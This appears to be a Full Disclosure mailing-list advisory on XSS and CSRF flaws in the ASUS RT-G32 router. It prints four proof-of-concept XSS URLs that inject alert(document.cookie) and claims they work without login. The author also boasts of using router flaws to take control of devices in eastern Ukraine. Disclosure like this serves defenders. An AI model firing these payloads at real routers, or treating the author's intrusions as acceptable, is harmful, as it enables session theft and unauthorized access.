Subject: [FD] Fw: Vulnerabilities in ASUS RT-G32

Hello list!

There are Cross-Site Scripting and Cross-Site Request Forgery
vulnerabilities in ASUS Wireless Router RT-G32.

-------------------------
Affected products:
-------------------------

Vulnerable is the next model: ASUS RT-G32 with different versions of
firmware. I checked in ASUS RT-G32 with firmware versions 2.0.2.6 and
2.0.3.2.

----------
Details:
----------

Cross-Site Scripting (WASC-08):

http://site/start_apply.htm?next_page=%27%2balert(document.cookie)%2b%27

http://site/start_apply.htm?group_id=%27%2balert(document.cookie)%2b%27

http://site/start_apply.htm?action_script=%27%2balert%28document.cookie%29%2b%27

http://site/start_apply.htm?flag=%27%2balert%28document.cookie%29%2b%27

These vulnerabilities work as via GET, as via POST (work even without
authorization).

Cross-Site Request Forgery (WASC-09):

CSRF vulnerability allows to change different settings, including admin's
password. As I showed in this exploit (post-auth).

I found this and other routers since summer to take control over terrorists
in Crimea, Donetsk & Lugansks regions of Ukraine. Read about it in the list
(http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2015-February/009077.html)
and in many my interviews
(http://www.thedailybeast.com/articles/2015/02/18/ukraine-s-lonely-cyber-warrior.html).

I mentioned about these vulnerabilities at my site
(http://websecurity.com.ua/7644/).
